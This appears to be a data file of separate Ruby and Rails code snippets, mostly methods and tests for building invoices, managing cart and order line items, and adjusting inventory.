"def add_or_remove(item_ids,add_or_remove)\n\t item_ids.map {|id|\n\t begin\n\t \t #puts \"the signed in resource is:\"\n\t \t #puts self.signed_in_resource\n\t \t \n\t\t cart_item = Auth.configuration.cart_item_class.constantize.find_self(id,self.signed_in_resource)\n\t\t \n\t\t cart_item.signed_in_resource = self.signed_in_resource\n\t\t \t\n\t\t puts \"Add or remove is: #{add_or_remove}\"\n\n\t\t resp = (add_or_remove == 1) ? cart_item.set_cart_and_resource(self) : cart_item.unset_cart\n\t\t \t\n\t\t puts \"unset cart is:#{resp.to_s}\"\n\t\t \n\t\t \n\t\t resp\n\t \t rescue Mongoid::Errors::DocumentNotFound => error\n\t \t \t#puts \"--------------------------------------------DIDNT FIND THE CART ITEM\"\n\t \t \t#puts error.to_s\n\t \t \t#puts \"--------------------------------------------\"\n\t \t \ttrue\n\t \t end\n\t }\n\t #self.errors.add(:cart_items,\"some cart items could not be added or removed successfully\") if ((add_remove_results.size > 1) || (add_remove_results[0] == false)) \n\t \n\tend",
"def index\n @invoice_items = @invoice.invoice_items\n end",
"def generate_invoice_items(tariff, invoice, bill, cf, user_id)\n # Should prorate\n should_prorate, prev_reading_tariff = should_prorate?(tariff)\n if should_prorate\n # Must prorate\n prorate_consumption_and_apply_tariffs('I', tariff, prev_reading_tariff, invoice, bill, cf, user_id)\n else\n # Current tariff only\n save_invoice_items(tariff, invoice, bill, cf, user_id)\n end # should_prorate\n end",
"def create\n ActiveRecord::Base.transaction do\n @invoice = Invoice.new invoice_params\n customer = Customer.find_or_create_by(name: params[:customer_name])\n @invoice.customer = customer\n @invoice.save!\n\n Item.all.each do |item|\n if params[\"amount_#{item.id}\"].to_i > 0\n InvoiceDetail.create!(invoice: @invoice, item: item, price: item.price,\n amount: params[\"amount_#{item.id}\"].to_i)\n end\n end\n end\n\n respond_to do |format|\n if @invoice.calculate_total!\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_inventory\n self.order_items.each { |item| item.variant.add_pending_to_customer }\n end",
"def create_replacement\n new_invoice = self.clone\n new_invoice.document_number = Numerator.get_number\n old_invoice = self\n old_invoice.status_constant = Invoice::CANCELED\n old_invoice.order_id = nil\n old_invoice.lines.each do |line|\n new_invoice.invoice_lines << line.clone\n line.order_id = nil # Disassociate the order so that things don't appear twice on orders just because there is a replacement invoice\n line.save\n end\n new_invoice.save\n old_invoice.replacement = new_invoice\n old_invoice.save\n return new_invoice\n end",
"def change_inventory_items_for_vendor vendor_id, inventory_item_ids\n\n # Remove all menu items where we are dealing with this vendor, but leave the fee, if any\n line_items.destroy(line_items.select{|li| (!li.inventory_item.nil? && li.inventory_item.vendor_id == vendor_id)})\n\n inventory_item_ids.each do |id|\n line_items.push(create_line_item_from_inventory_item(InventoryItem.find(id), 0, Vendor.find(vendor_id), account, false, false, \"\"))\n end\n\n trigger_event_rollup\n\n end",
"def test_should_create_and_delete_line_items_before_post\r\n assert_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', 1 do\r\n @basic_user.creates_new_invoice\r\n @basic_user.enter_new_customer(\r\n :name => \"Test 8 Customer Name 4\") \r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 1, trows.length\r\n tr1 = trows[::WatirBrowser.item_index(1)]\r\n assert tr1.exists?\r\n @basic_user.populate(tr1.text_field(:name, \"invoice[line_items_attributes][][description]\"), \"Description one\")\r\n\r\n @basic_user.link(:id, \"add_line_item\").click\r\n\r\n #get second row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr2 = trows[::WatirBrowser.item_index(2)]\r\n assert tr2.exists?\r\n\r\n @basic_user.populate(tr2.text_field(:name, 'invoice[line_items_attributes][][description]'),'Description two')\r\n\r\n #remove the first line item\r\n @basic_user.line_items_rows[::WatirBrowser.item_index(1)].link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n\r\n invoice = Invoice.find(:first, :order => 'id desc')\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal 'Description two', invoice.line_items[0].description\r\n end",
"def invoice_items\n invoice_items = engine.invoice_item_repository.parse\n invoice_items.select {|invoice_item| invoice_item.item_id == id}\n end",
"def invoice_items\n SalesEngine::InvoiceItem.find_all_by_item_id(self.id)\n end",
"def test_should_remove_first_line_item_from_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', -1 do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr1 = trows[::WatirBrowser.item_index(1)]\r\n assert tr1.exists?\r\n @basic_user.populate(tr1.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Removed Description one\")\r\n\r\n #remove the first line item\r\n tr1.link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal line_items(:line_item_two).description, invoice.line_items[0].description\r\n end",
"def invoice_item\n Zapi::Models::InvoiceItem.new\n end",
"def delete_invoices\n self.invoices.delete_all\n end",
"def create_invoice\n self.invoice = match.invoices.create unless invoice\n end",
"def add_line_items_from(cart)\n\t\tcart.line_items.each do |item| \n\t\t\titem.cart_id = nil \n\t\t\tline_items << item \n\t\tend\n\tend",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n\t item.cart_id = nil\n \t line_items << item\n end\n end",
"def incluir(item, quantidade=1, data=Time.now.strftime('%d/%m/%y %I:%M%p'))\n indice = self.items.index { |x| x.produto == item }\n indice.nil? ? items << Item.new(item, quantidade, data) : self.items[indice].quantidade += quantidade\n end",
"def set_invoice_item\n @invoice_item = InvoiceItem.find(params[:id])\n end",
"def remove_item\n\n end",
"def approve_items(with_product)\n items = InventoryItem.where(name: name, unit_id: unit_id, category_id: category_id).where(\"type is null and product_id is null\").where(\"id <> ?\", id)\n items << self\n items.each do |item|\n item.name = \"#{with_product.name} \"#(#{with_product.unit_name})\"\n item.unit_id = with_product.unit_id\n item.product_id = with_product.id\n item.save(:validate => false)\n end\n end",
"def update\n \n @invoice_item.update(@invoice_item)\n respond_with(@invoice)\n \n end",
"def add_item(item_id)\n line_item = self.line_items.find_by(item_id: item_id)\n if line_item\n line_item.quantity += 1\n else\n line_item=self.line_items.build(item_id: item_id)\n end\n line_item\n end",
"def add_item(itemToAdd)\r\n itemToAdd.set_owner(self)\r\n itemToAdd.deactivate\r\n self.items.push(itemToAdd)\r\n end",
"def test_remove_promotion_multiple_items\n setup_new_order_with_items()\n editable_order_codes = (1..5)\n editable_order_codes.each do |status_id|\n o_status = OrderStatusCode.find(status_id)\n assert_kind_of OrderStatusCode, o_status\n\n @o.order_status_code = o_status\n assert @o.is_editable?\n \n promo = promotions(:fixed_rebate)\n @o.promotion_code = promo.code\n assert @o.save\n assert_kind_of OrderLineItem, @o.promotion_line_item\n # Add dupe line item.\n dupe_item = @o.promotion_line_item.clone\n @o.order_line_items << dupe_item\n assert_equal 2, @o.order_line_items.count(\n :conditions => [\"name = ?\", @o.promotion.description]\n )\n # Remove\n @o.remove_promotion()\n assert_nil @o.promotion_line_item\n end\n end",
"def add_item(item_id)\n if line_item = line_items.find_by(item_id: item_id)\n line_item.quantity += 1\n else\n line_item = line_items.build(item_id: item_id)\n end\n line_item\n end",
"def invoice # rubocop:disable all\n @province = Province.find(params[:province])\n @customer = Customer.find(session[:customer_id])\n customer_order = @customer.orders.build\n customer_order.status = 'outstanding'\n customer_order.pst_rate = @customer.province.pst\n customer_order.gst_rate = @customer.province.gst\n customer_order.hst_rate = @customer.province.hst\n customer_order.address = params[:address]\n customer_order.city = params[:city]\n customer_order.province = params[:province]\n customer_order.country_name = params[:country_name]\n customer_order.postal_code = params[:postal_code]\n customer_order.save\n\n session[:order_id] = customer_order.id\n session[:product_id].each do |product_id|\n product = Product.find(product_id)\n customer_item = customer_order.lineItems.build\n customer_item.order_id = customer_order.id\n customer_item.price = product.price\n customer_item.quantity = params[\"quantity_#{product.id}\"]\n customer_item.product_id = product.id\n customer_item.save\n end\n @line_items = LineItem.where('order_id = ?', session[:order_id])\n session[:order_complete] = true\n end",
"def add(new_line_items)\n new_line_items = Array.wrap(new_line_items).reject{ |li| li.product.supplier_id.nil? || li.product.supplier_id != self.supplier_id }\n new_line_items.each do |new_line_item|\n if line_item = self.drop_ship_line_items.find_by_line_item_id(new_line_item.id)\n else\n self.drop_ship_line_items.create({line_item_id: new_line_item.id}, without_protection: true)\n end\n end\n # TODO: remove any old line items?\n self.save ? self : nil\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n # remove the cart id\n item.cart_id = nil\n # add the order line items\n line_items << item\n end\n\n end",
"def populate\n @order = current_order(session)\n variant_id = params[:variant_id]\n \n new_line_item = Breeze::Commerce::LineItem.new(:variant_id => variant_id, :quantity => params[:quantity] || 1)\n existing_line_item = @order.line_items.unarchived.where(:variant_id => variant_id).first \n if existing_line_item\n existing_line_item.quantity += new_line_item.quantity\n existing_line_item.save\n else\n @order.line_items << new_line_item\n end\n\n @order.save\n end",
"def test_should_update_new_invoice_total_when_line_item_is_deleted\r\n update_profile_taxes(\r\n :tax_enabled => true,\r\n :tax_1_name => \"tax 1 name\",\r\n :tax_1_rate => \"5.0\",\r\n :tax_2_name => \"\",\r\n :discount_before_tax => false)\r\n \r\n @user.creates_new_invoice\r\n # the first line is created automatically, no need to click add line \r\n @user.edits_line_item(1,:unit => 'line one', :quantity => '1', :price => '1.23')\r\n @user.adds_line_item(:unit => 'line two', :quantity => '1', :price => '4.56')\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 5.79,\r\n :tax_1_amount => 0.29,\r\n :discount_amount => 0,\r\n :total => 6.08)\r\n \r\n @user.removes_line_item(1)\r\n\r\n verify_invoice_view_fields(\r\n :line_items_total => 4.56,\r\n :tax_1_amount => 0.23,\r\n :discount_amount => 0,\r\n :total => 4.79)\r\n end",
"def generate\n invoices.each do |invoice|\n if date_range.in_range?(invoice.issue_date)\n items << InvoiceItem.new(invoice.customer_id, invoice.issue_date, invoice.total)\n end\n end\n end",
"def attach_item(item)\r\n equal_item = self.check_for_equal_item(item.name,item.price,item.description)\r\n if equal_item == nil\r\n self.items << item\r\n item.owner = self\r\n item.deactivate\r\n else\r\n equal_item.quantity += item.quantity\r\n equal_item.deactivate\r\n item.delete\r\n end\r\n end",
"def save_invoice_items(tariff, invoice, bill, cf, user_id)\n # Fixed\n fixed_fee_qty = fixed_fee_quantity\n if !tariff.fixed_fee.zero?\n tariff_code = tariff.try(:billable_item).try(:billable_concept).try(:code) rescue ''\n # tariff_price = tariff.fixed_fee / tariff.billing_frequency.total_months\n tariff_price = (tariff.fixed_fee / tariff.billing_frequency.total_months) * coefficient_by_users(tariff, 'F')\n if tariff_code == 'SUM' && should_bill_by_inhabitants_or_endowments?(tariff, 'F')\n tariff_price = tariff_price * subscriber.right_inhabitants_and_endowments\n end\n if tariff_code == 'DEP'\n tariff_price = tariff_price * subscriber.right_equiv_dwelling\n end\n create_invoice_item(tariff,\n invoice.id,\n \"CF\",\n tariff_price,\n fixed_fee_qty,\n tariff.billing_frequency.fix_measure_id,\n tariff.try(:tax_type_f_id),\n tariff.try(:discount_pct_f),\n user_id, '')\n elsif tariff.percentage_fixed_fee > 0 and !tariff.percentage_applicable_formula.blank?\n create_invoice_item(tariff,\n invoice.id,\n \"CF\",\n ((tariff.percentage_fixed_fee/100) * Invoice.find(invoice.id).total_by_concept_ff(tariff.percentage_applicable_formula)) / billing_frequency.total_months,\n fixed_fee_qty,\n tariff.billing_frequency.fix_measure_id,\n tariff.try(:tax_type_f_id),\n tariff.try(:discount_pct_f),\n user_id, '')\n end\n\n # Variables\n # block_frequency = billing_frequency.total_months.to_d / tariff.billing_frequency.total_months.to_d\n block_frequency = coefficient_for_billing_blocks(tariff, fixed_fee_qty)\n if !tariff.block1_limit.nil? && tariff.block1_limit > 0\n limit_before = 0\n block_limit = 0\n (1..8).each do |i|\n block_limit = ((tariff.instance_eval(\"block#{i}_limit\") + coefficient_by_inhabitants(tariff, 'V')) * block_frequency * coefficient_by_users(tariff, 'V')).round rescue nil\n # if limit nil (last block) or limit > consumption\n if block_limit.nil? || block_limit >= (cf || 0)\n create_invoice_item(tariff,\n invoice.id,\n \"BL\"+i.to_s,\n tariff.instance_eval(\"block#{i}_fee\"),\n ((cf || 0) - limit_before),\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_b_id),\n tariff.try(:discount_pct_b),\n user_id, '')\n break\n else\n create_invoice_item(tariff,\n invoice.id,\n \"BL\"+i.to_s,\n tariff.instance_eval(\"block#{i}_fee\"),\n block_limit - limit_before,\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_b_id),\n tariff.try(:discount_pct_b),\n user_id, '')\n limit_before = block_limit\n end\n end # (1..8).each\n elsif tariff.percentage_fee > 0 and !tariff.percentage_applicable_formula.blank?\n create_invoice_item(tariff,\n invoice.id,\n \"VP\",\n cf != 0.0 ? (tariff.percentage_fee/100) * Invoice.find(invoice.id).total_by_concept(tariff.percentage_applicable_formula, false) / cf : 0.0,\n cf,\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_p_id),\n tariff.try(:discount_pct_p),\n user_id, '')\n elsif tariff.variable_fee > 0\n create_invoice_item(tariff,\n invoice.id,\n \"CV\",\n tariff.variable_fee,\n cf,\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_v_id),\n tariff.try(:discount_pct_v),\n user_id, '')\n end # tariff.block1_limit > 0\n end",
"def new_invoice_item(invoice, i)\n invoice_item = SupplierInvoiceItem.new\n if i.class.name == 'ReceiptNoteItem'\n invoice_item.receipt_note_id = i.receipt_note_id\n invoice_item.receipt_note_item_id = i.id\n else\n invoice_item.purchase_order_id = i.purchase_order_id\n invoice_item.purchase_order_item_id = i.id\n end\n invoice_item.supplier_invoice_id = invoice.id\n invoice_item.product_id = i.product_id\n invoice_item.code = i.code\n invoice_item.description = i.description\n invoice_item.quantity = i.balance\n invoice_item.price = i.price\n invoice_item.discount_pct = i.discount_pct\n invoice_item.discount = i.discount\n invoice_item.tax_type_id = i.tax_type_id\n invoice_item.work_order_id = i.work_order_id\n invoice_item.project_id = i.project_id\n if !i.charge_account_id.blank?\n invoice_item.charge_account_id = i.charge_account_id\n else\n invoice_item.charge_account_id = ChargeAccount.expenditures(i.project_id).first.id\n end\n invoice_item.created_by = current_user.id if !current_user.nil?\n return invoice_item\n end",
"def test_add_invoice\n kwhite17 = members(:kwhite17)\n tank = members(:tank)\n invoices_expected = Array.new\n \n invoice1 = invoices(:one)\n group_purchase1 = group_purchases(:one)\n invoice1.group_purchase = group_purchase1\n invoice1.debtor = kwhite17\n invoice1.save\n\n invoices_expected.push(invoice1)\n\n assert_equal group_purchase1.invoices, invoices_expected, \"Test adding invoice\"\n \n end",
"def purchase\n @order = current_order\n @order_items = @order.order_items\n @order_items.each do |item|\n new_inventory = Product.find(item.product_id).inventory_count - item.quantity\n Product.update(item.product_id, inventory_count: new_inventory)\n end\n @order_items.destroy_all\n end",
"def remove\n if @item.quantity == 1\n @item.destroy!\n else\n @item.decrement(:quantity)\n @item.save!\n end\n\n refresh\n end",
"def destroy\n @invoice.destroy\n end",
"def change_inventory_items_for_event_vendor vendor_id, inventory_item_ids, include_expense_price, include_revenue_price, inventory_item_quantities={}, item_notes={}, menu_template=nil\n # Remove all menu items where we are dealing with this vendor, but leave the fee, if any\n destroy_line_items(line_items.select{|li| (!li.inventory_item.nil? && li.inventory_item.vendor_id == vendor_id )}) unless menu_template\n inventory_item_ids.each do |id|\n if inventory_item_quantities.is_a? Hash\n # This is how catering does quantity \n quantity = inventory_item_quantities[id].try(:to_i) || 0\n else\n # This is how snappea's data looks. fuck... -djb\n quantity = inventory_item_quantities[id.to_i].try(:to_i) || 0\n end\n line_items.push(create_line_item_from_inventory_item(InventoryItem.find(id), quantity, Vendor.find(vendor_id), account, include_expense_price.include?(id.to_s), include_revenue_price.include?(id.to_s), item_notes[id]))\n end\n\n create_per_person_charge_addons_for_payable_party(Vendor.find(vendor_id))\n trigger_event_rollup\n end",
"def save_pre_invoice_items(tariff, pre_invoice, pre_bill, cf, user_id)\n # Fixed\n fixed_fee_qty = fixed_fee_quantity\n if !tariff.fixed_fee.zero?\n tariff_code = tariff.try(:billable_item).try(:billable_concept).try(:code) rescue ''\n # tariff_price = tariff.fixed_fee / tariff.billing_frequency.total_months\n tariff_price = (tariff.fixed_fee / tariff.billing_frequency.total_months) * coefficient_by_users(tariff, 'F')\n if tariff_code == 'SUM' && should_bill_by_inhabitants_or_endowments?(tariff, 'F')\n tariff_price = tariff_price * subscriber.right_inhabitants_and_endowments\n end\n if tariff_code == 'DEP'\n tariff_price = tariff_price * subscriber.right_equiv_dwelling\n end\n create_pre_invoice_item(tariff,\n pre_invoice.id,\n \"CF\",\n tariff_price,\n fixed_fee_qty,\n tariff.billing_frequency.fix_measure_id,\n tariff.try(:tax_type_f_id),\n tariff.try(:discount_pct_f),\n user_id, '')\n elsif tariff.percentage_fixed_fee > 0 and !tariff.percentage_applicable_formula.blank?\n create_pre_invoice_item(tariff,\n pre_invoice.id,\n \"CF\",\n ((tariff.percentage_fixed_fee / 100) * PreInvoice.find(pre_invoice.id).total_by_concept_ff(tariff.percentage_applicable_formula)) / billing_frequency.total_months,\n fixed_fee_qty,\n tariff.billing_frequency.fix_measure_id,\n tariff.try(:tax_type_f_id),\n tariff.try(:discount_pct_f),\n user_id, '')\n end\n\n # Variables\n # block_frequency = billing_frequency.total_months.to_d / tariff.billing_frequency.total_months.to_d\n block_frequency = coefficient_for_billing_blocks(tariff, fixed_fee_qty)\n if !tariff.block1_limit.nil? && tariff.block1_limit > 0\n #+++ Blocks +++\n limit_before = 0\n block_limit = 0\n (1..8).each do |i|\n block_limit = ((tariff.instance_eval(\"block#{i}_limit\") + coefficient_by_inhabitants(tariff, 'V')) * block_frequency * coefficient_by_users(tariff, 'V')).round rescue nil\n # if limit nil (last block) or limit > consumption\n if block_limit.nil? || block_limit >= (cf || 0)\n create_pre_invoice_item(tariff,\n pre_invoice.id,\n \"BL\"+i.to_s,\n tariff.instance_eval(\"block#{i}_fee\"),\n ((cf || 0) - limit_before),\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_b_id),\n tariff.try(:discount_pct_b),\n user_id, '')\n break\n else\n create_pre_invoice_item(tariff,\n pre_invoice.id,\n \"BL\"+i.to_s,\n tariff.instance_eval(\"block#{i}_fee\"),\n block_limit - limit_before,\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_b_id),\n tariff.try(:discount_pct_b),\n user_id, '')\n limit_before = block_limit\n end\n end # (1..8).each\n elsif tariff.percentage_fee > 0 and !tariff.percentage_applicable_formula.blank?\n #+++ Percentage +++\n create_pre_invoice_item(tariff,\n pre_invoice.id,\n \"VP\",\n cf != 0.0 ? (tariff.percentage_fee/100) * PreInvoice.find(pre_invoice.id).total_by_concept(tariff.percentage_applicable_formula, false) / cf : 0.0,\n cf,\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_p_id),\n tariff.try(:discount_pct_p),\n user_id, '')\n elsif tariff.variable_fee > 0\n #+++ Variable (like one-block tariff) +++\n create_pre_invoice_item(tariff,\n pre_invoice.id,\n \"CV\",\n tariff.variable_fee,\n cf,\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_v_id),\n tariff.try(:discount_pct_v),\n user_id, '')\n end # tariff.block1_limit > 0\n end",
"def remove_item(index)\n new_items = items\n\n # TODO cleanse. this is shameful\n item = load_item_at(index)\n item.reverse_appointment! if item.is_a?(Proposal)\n\n new_items.delete_at(index)\n update_attribute :items, new_items\n end",
"def invoice\n raise \"deprecated as we use has_many :invoices association\"\n end",
"def remove_items_from_cart\n line_items.each { |i| i.cart = nil }\n end",
"def add_chocolate_bar(chocolate_bar)\ncurrent_item = line_items.find_by(chocolate_bar_id: chocolate_bar.id)\nif current_item\ncurrent_item.quantity += 1\nelse\ncurrent_item = line_items.build(chocolate_bar_id: chocolate_bar.id)\nend\ncurrent_item\nend",
"def create\n @receipt = Receipt.new\n @receipt.user = current_user\n @receipt.save!\n current_cart.line_items.each do |a|\n current_record = add_record_to_receipt(a.post.title, a)\n current_record.receipt = @receipt\n current_record.save!\n end\n @receipt.save!\n current_cart.destroy\n redirect_to receipts_url\n end",
"def finalize\n if !client_missing? \n update_client if new_provider?\n add_invoice\n else \n add_client\n add_invoice\n end\n end",
"def set_invoices(invoices_attributes)\n @invoices = invoices_attributes.map.with_index do |invoice_attributes, index|\n existing_invoice = invoices[index]\n\n if existing_invoice\n existing_invoice.assign_all_attributes(invoice_attributes)\n else\n Invoice.new_from_json(invoice_attributes)\n end\n end\n end",
"def add_line_items_from_cart(cart)\n #for each lineitem added to the cart we remove the cart id and add to the order (loop)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def invoice\n raise \"override in purchase_order or sales_order\"\n end",
"def test_adding_and_removing\n c = Cart.create\n assert_difference(c.cart_items, :size, 3) do\n [1, 3, 4].each do |i|\n assert c.add(i)\n end\n end\n \n assert_equal Book.find([1,3,4]), c.books\n \n [1, 3, 4].each do |i|\n assert c.remove(i)\n end\n assert_equal [], c.reload.cart_items\n end",
"def destroy\n @invoice_item.destroy\n respond_with(@invoice)\n \n end",
"def add_item(product_id)\n item = line_items.where(product_id: product_id).first\n if item.present?\n item.quantity += 1\n item\n else\n line_items.new(product_id: product_id)\n end\n end",
"def remove_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\tline_item = Item.where(sale_id: params[:sale_id], product_id: params[:product_id]).first\n\t\tline_item.quantity -= 1\n\n\t\tif line_item.quantity == 0\n\t\t\tline_item.destroy\n\t\telse\n\t\t\tline_item.save\n\t\t\tupdate_line_item_totals(line_item)\n\t\tend\n\n\t\t# Llama método que devuelve cantidad al stock\n\t\treturn_item_to_stock(params[:product_id])\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def place_order\n @order = Order.new(order_params)\n @basket.line_items.map do |line_item|\n @order.line_items << line_item\n item.basket_id = nil\n\n dish = Dish.find(line_item.dish_id)\n dish.inventory -= line_item.quantity\n dish.save\n end\n @order.save\n @basket.destroy\n render Dish.all, status: :ok\n end",
"def add_line_items_from_cart(cart)\n \tcart.line_items.each do |item|\n \t\titem.cart_id = nil\n \t\tline_items << item\n \tend \t\n end",
"def add_item(product_id:, quantity: 1)\n product = Product.find(product_id)\n\n order_item = order.items.find_or_create_by(\n product_id: product_id\n )\n\n order_item.price = product.price\n order_item.quantity = 1\n order_item.save\n end",
"def create\n \n \n @invoice_item = @invoice.invoice_item.new(invoice_item_params)\n @invoice_item.save\n respond_with(@invoice)\n\n end",
"def add_invoice(parameters, options)\n parameters[:OrderID] = options[:order_id]\n parameters[:ClientField2] = options[:description] if options[:description]\n end",
"def checkout\n line_items = LineItem.all\n\n @order = Order.create(user_id: current_user.id, subtotal: 0)\n\n line_items.each do |l_item|\n l_item.product.update(quantity: (l_item.product.quantity - l_item.quantity))\n @order.order_items[l_item.product_id] = l_item.quantity\n @order.subtotal += l_item.line_item_total\n end\n @order.save\n\n @order.update(sales_tax: (@order.subtotal * 0.08))\n @order.update(grand_total: (@order.sales_tax + @order.subtotal))\n\n line_items.destroy_all\n end",
"def addRoundInvItem(totalAmount)\n\t\tinvItem = @invoice.invoice_items.new()\n\t\tinvItem.name = l(:label_round_off)\n\t\tinvItem.rate = nil\n\t\tinvItem.project_id = @invoice.invoice_items[0].project_id\n\t\tinvItem.currency = @invoice.invoice_items[0].currency\n\t\tinvItem.quantity = nil\n\t\tinvItem.amount = totalAmount.round - totalAmount\n\t\tinvItem.item_type = 'r'\n\t\tinvItem.modifier_id = User.current.id\n\t\tinvItem.save()\n\tend",
"def update(items)\n # clear!\n self.items.each do |i|\n number = items[i.id].blank? ? 1 : items[i.id].to_i <= 0 ? 1 : items[i.id]\n number.to_i < 99 ? i.quantity = number.to_i : i.quantity=99\n end\n # items.each { |id, quantity| add_items(id, quantity) }\n end",
"def add_item (grocery_list, grocery_item)\n grocery_list.store(grocery_item, 0)\nend",
"def generate_pre_invoice_items(tariff, pre_invoice, pre_bill, cf, user_id)\n # Should prorate\n should_prorate, prev_reading_tariff = should_prorate?(tariff)\n if should_prorate\n # Must prorate\n prorate_consumption_and_apply_tariffs('P', tariff, prev_reading_tariff, pre_invoice, pre_bill, cf, user_id)\n else\n # Current tariff only\n save_pre_invoice_items(tariff, pre_invoice, pre_bill, cf, user_id)\n end # should_prorate\n end",
"def remove_lineitem\n line_item = @sale.line_items.find_by_id(params[:line_item])\n respond_to do |format|\n if line_item.present?\n line_item.item.stock_amount = line_item.item.stock_amount + line_item.quantity\n line_item.item.save\n line_item.destroy\n end\n update_totals\n\n format.js { ajax_refresh }\n end\n end",
"def checkout_cart\n self.line_items.each do |li|\n li.item.inventory -= li.quantity\n li.item.save\n end\n self.line_items.clear\n self.status = \"submitted\"\n self.user.current_cart_id = nil\n self.user.save\n end",
"def set_invoice_line_item\n @invoice_line_item = InvoiceLineItem.find(params[:id])\n end",
"def collect_invoice(shop_id, order_id, invoice)\n request(:post, \"shops/#{shop_id}/orders/#{order_id}/invoices\", body: invoice).tap do |response|\n raise InvalidResponse, response.body unless response.status == 201\n end\n end",
"def invoices(reload = false)\n self.cache(CostAgent::Invoice, :all, reload) do\n (self.api(\"invoices\")/\"invoice\").collect do |invoice|\n items = (invoice/\"invoice-item\").collect do |item|\n price = (item/\"price\").first.inner_text.to_f\n quantity = (item/\"quantity\").first.inner_text.to_f\n cost = price * quantity\n project = self.project((item/\"project-id\").first.inner_text.to_i)\n InvoiceItem.new(\n :id => (item/\"id\").first.inner_text.to_i,\n :invoice_id => (item/\"invoice-id\").first.inner_text.to_i,\n :project_id => project.nil? ? nil : project.id,\n :project => project,\n :item_type => (item/\"item-type\").first.inner_text,\n :description => (item/\"description\").first.inner_text,\n :price => price,\n :quantity => quantity,\n :cost => cost)\n end\n project = self.project((invoice/\"project-id\").first.inner_text.to_i)\n Invoice.new(\n :id => (invoice/\"id\").first.inner_text.to_i,\n :project_id => project.nil? ? nil : project.id,\n :project => project,\n :description => (invoice/\"description\").first.inner_text,\n :reference => (invoice/\"reference\").text,\n :amount => (invoice/\"net-value\").text.to_f,\n :status => (invoice/\"status\").text,\n :date => DateTime.parse((invoice/\"dated-on\").text),\n :due => DateTime.parse((invoice/\"due-on\").text),\n :items => items)\n end\n end\n end",
"def add_product(product_id)\n current_item = line_item.find_by_product_id(product_id)\n if current_item\n current_item.quantity += 1\n else\n current_item = line_items.build(product_id: product_id)\n end\t\n current_item\nend",
"def invoice_num\n item_id\n end",
"def update\n @pagetitle = \"Edit invoice\"\n @action_txt = \"Update\"\n \n items = params[:items].split(\",\")\n \n @invoice = Factura.find(params[:id])\n @company = @invoice.company\n @payments = @company.get_payments() \n @medios = @company.get_medios()\n\n if(params[:ac_customer] and params[:ac_customer] != \"\")\n @ac_customer = params[:ac_customer]\n else\n @ac_customer = @invoice.customer.name\n end\n \n @products_lines = @invoice.products_lines\n \n @locations = @company.get_locations()\n @divisions = @company.get_divisions()\n \n @invoice[:subtotal] = @invoice.get_subtotal(items)\n @invoice[:tax] = @invoice.get_tax(items, @invoice[:medio_id])\n @invoice[:total] = @invoice[:subtotal] + @invoice[:tax]\n\n respond_to do |format|\n if @invoice.update_attributes(factura_params)\n # Create products for kit\n @invoice.delete_products()\n @invoice.add_products(items)\n @invoice.correlativo\n # Check if we gotta process the invoice\n @invoice.process()\n \n format.html { redirect_to(@invoice, :notice => 'Invoice was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invoice.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def consume_items(item_quantities)\n item_quantities.each do |ingredient_name, quantity|\n @ingredients[ingredient_name] = @ingredients[ingredient_name] - quantity\n end\n end",
"def deduct_quantity\n line_items.each do |i|\n i.product.current_stock -= i.quantity\n i.product.save\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
